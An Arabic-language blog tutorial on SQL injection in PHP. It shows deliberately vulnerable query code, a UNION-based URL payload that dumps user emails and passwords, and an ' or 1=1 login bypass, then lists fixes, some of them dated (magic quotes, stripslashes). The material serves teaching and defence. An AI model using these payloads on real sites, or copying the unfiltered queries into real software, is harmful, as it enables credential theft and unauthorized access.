A Study in PHP Vulnerabilities - SQLi
بسم الله الرحمن الرحيم
اللهم صل وسلم على سيدنا محمد وعلى آله وصحبه اجمعين
اللهم علمنا ماينفعنا وانفعنا بما علمتنا انك انت العليم الحكيم
اليوم درسنا عن ثغرات الحقن
اللهم صل وسلم على سيدنا محمد وعلى آله وصحبه اجمعين
اللهم علمنا ماينفعنا وانفعنا بما علمتنا انك انت العليم الحكيم
اليوم درسنا عن ثغرات الحقن
#
SQL Injection
ثغرات الحقن تعتبر اكثر الثغرات انتشارا وتعتبر ايضا خطيرة جدا لما تمتلكه من قدرة على استخراج معلومات مهمة من قاعدة البيانات والحصول على شل والوصول ايضا الى صلاحيات الروت
نستعرض كود بسيط لكي توضح الصورة اكثر
<?php
$id = $_GET['id'];
$result = mysql_query( "SELECT name FROM members WHERE id = '$id'");
?>
الان لو تعمقنا بالكود نلقى ان المتغير id$ ماهو مفلتر والمشكلة الاكبر انه داخل في الاستعلام
لنفرض اننا قمنا بكتابة 0n3 راح يصبح الطلب كالاتي
SELECT name FROM members WHERE id = '0n3';
الاستعلام يقوم بالبحث عن عضو اسمه 0n3 ويعرضه لنا الان تخيل لو قمنا بالاتي
0n3' or '1' = '1
ليصبح الاستعلام
SELECT name FROM members WHERE id = '0n3' or '1' = '1'
اللي يعطينا استعلام صحيح وراح يتنفذ في قاعدة البيانات وكلنا نعرف بان قمية الرقم 1 تساوي 1 وبما ان العملية الحسابية صحيحة راح يستعرض لنا جميع الاسماء الموجودة في قاعدة البيانات
ناخذ كود اخر
$id = $_GET['itemnr'];
require_once($home."mysqlinfo.php");
$query = "SELECT title, type, price, bedrooms, distance, address,phone, comments, handle, image from Rentals where id=$id";
$result = mysql_query($query);
if(mysql_num_rows($result)){
$r = mysql_fetch_array($result);
نفس الخطا المتغير id$ لا يوجد به اي فلترة وايضا داخل بالاستعلام يعني لو حبينا نستغل الخطا هذا من المتصفح راح يكون بالشكل التالي
http://127.0.0.1/house/listing_view.php?itemnr=null+union+all+select+1,2,3,concat(0x3a,email,password),5,6,7,8,9,10+from+users--
وبالطريقة هذه راح يستعرض لنا الايميل والباسوورد لجميع الاعضاء
#
SQL Injection Login Bypass
ولنفرض عندنا الكود التالي
$postbruger = $_POST['username'];
$postpass = md5($_POST['password']);
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND password = '$postpass'")
or die("<p>" . mysql_error() . "</p>\n");
نفس الخطا ايضا المدخلات غير مفلتره اللي يمكننا من كتابة التالي
username : admin ' or ' 1=1
password : sirgod
والاستعلام يصبح بالشكل التالي
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = 'admin' ' or ' 1=1 AND password = 'sirgod'")
النتيجة راح تكون قبول الدخول بصلاحيات الادمن او المدير
طريقة الترقيع
فلترة جميع المدخلات
استخدام بعض دوال الحماية مثل
mysql_real_escape_string
stripslashes()
magic quotes
استخدام prepare statement
الى هنا ينتهي الدرس ولله الحمد
اذا اعجبك الدرس فاذكر الله وادع لي وان لم يعجبك انتقدني لاصبح افضل
تعليقات
إرسال تعليق